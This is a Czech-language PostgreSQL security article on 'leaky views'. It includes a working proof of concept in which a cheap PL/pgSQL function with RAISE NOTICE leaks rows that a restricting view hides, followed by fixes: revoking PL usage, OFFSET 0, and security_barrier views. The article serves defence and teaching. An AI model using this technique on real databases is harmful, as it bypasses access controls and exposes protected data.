Leak views
V případě, že se používají pohledy k omezení přístupu k určitým řádkům, lze zneužít PL/pgSQL (případně PL/Perl) k získání blokovaných dat.
Postup útoku je relativně jednoduchý - potřebujeme funkci, jejíž parametr je stejného typu jako hodnota, kterou chceme získat, a která vrací logickou hodnotu true. Uvnitř této použijeme ladící výstup pro zobrazení hodnoty parametru. Tato funkce musí mít velice nízkou cenu:
CREATE OR REPLACE FUNCTION public.fx(integer) RETURNS boolean LANGUAGE plpgsql COST 1e-05 AS $function$ begin raise notice '%', $1; return true; end; $function$
Připravíme si zdrojovou tabulku, která bude představovat chráněná data, a pohled, který bude zpřístupňovat liché řádky:
create table t(a int); insert into t select generate_series(1,10); create view v as select * from t where a % 2 = 1;
Běžný uživatel bude mít přístup pouze k pohledu v, tj. k lichým řádkům. Pokud útočník kompromituje běžný účet a připraví si funkci fx, pak díky optimalizaci získá obsah sudých řádků. Optimalizátor zjistí, že funkce fx slouží jako filtr a díky nízké ceně se snaží aplikovat tuto funkci co nejdříve - přičemž předběhne funkci, která filtruje obsah podle toho, zda-li je řádek sudý nebo lichý.
postgres=# select * from v; a --- 1 3 5 7 9 (5 rows) postgres=# select * from v where fx(a); NOTICE: 1 NOTICE: 2 NOTICE: 3 NOTICE: 4 NOTICE: 5 NOTICE: 6 NOTICE: 7 NOTICE: 8 NOTICE: 9 NOTICE: 10 a --- 1 3 5 7 9 (5 rows)
Aktuálně se pracuje na "zamčení" definice pohledu, tak aby nebylo možné podstrčit vlastní funkci - problémem je, že uzamčení může mít negativní dopady na výkon. Předpokládá se, že v PostgreSQL 9.2 bude tento nežádoucí chování blokováno. Dokud ovšem tento problém nebude vyřešen, je nutné zajistit:
- běžný aplikační uživatel nesmí mít možnost vytvářet kód v PL - tak aby kompromitace jeho účtu neohrozila db - což je nejjednodušší a efektivní řešení - přičemž se doporučuje pro vytváření uložených procedur a db objektů používat vyhrazený účet - a to jak pro z důvodů konzistence vlastnictví, tak nyní i z důvodů bezpečnostních.
- pokud pro běžný účet nelze blokovat PL, pak dalším řešením je použití klauzule OFFSET 0 ve všech pohledech, které používáme pro filtrování obsahu z důvodu omezení přístupu k datům. Tím ovšem blokujeme i některé možné optimalizace (např. možného použití indexu).
-- ukazka nefunkcniho zabezpeceni postgres=# explain select * from v where fx(a); QUERY PLAN -------------------------------------------------- Seq Scan on t (cost=0.00..46.00 rows=4 width=4) Filter: (fx(a) AND ((a % 2) = 1)) postgres=# drop view v; DROP VIEW postgres=# create view v as select * from t where a % 2 = 1 offset 0; CREATE VIEW postgres=# explain select * from v where fx(a); QUERY PLAN --------------------------------------------------------------- Subquery Scan on v (cost=0.00..46.12 rows=4 width=4) Filter: fx(v.a) -> Limit (cost=0.00..46.00 rows=12 width=4) -> Seq Scan on t (cost=0.00..46.00 rows=12 width=4) Filter: ((a % 2) = 1)
Pokud to je jen trochu možné, tak je použít první typ zabezpečení - pro vyhrazeného aplikačního uživatele zablokovat možnost vytvářet vlastní funkce:
REVOKE USAGE ON LANGUAGE plpgsql FROM public;
Poznamka - tento problém je vyřešen v 9.2 pomocí tzv. bezpečnostní bariéry:
CREATE OR REPLACE VIEW mysecview5 WITH (security_barrier=true) AS SELECT * FROM x WHERE a % 2 = 0; postgres=# explain select * from mysecview5 where fx(a) and b between 10 and 30; QUERY PLAN -------------------------------------------------------------------------------- Subquery Scan on mysecview5 (cost=0.00..19500.00 rows=8 width=8) Filter: (fx(mysecview5.a) AND (mysecview5.b >= 10) AND (mysecview5.b <= 30)) -> Seq Scan on x (cost=0.00..19425.00 rows=5000 width=8) Filter: ((a % 2) = 0) (4 rows)
Pro rozumný výkon tento typ pohledů vyžaduje podmíněné indexy s podmínkou odpovídající podmínce v pohledu.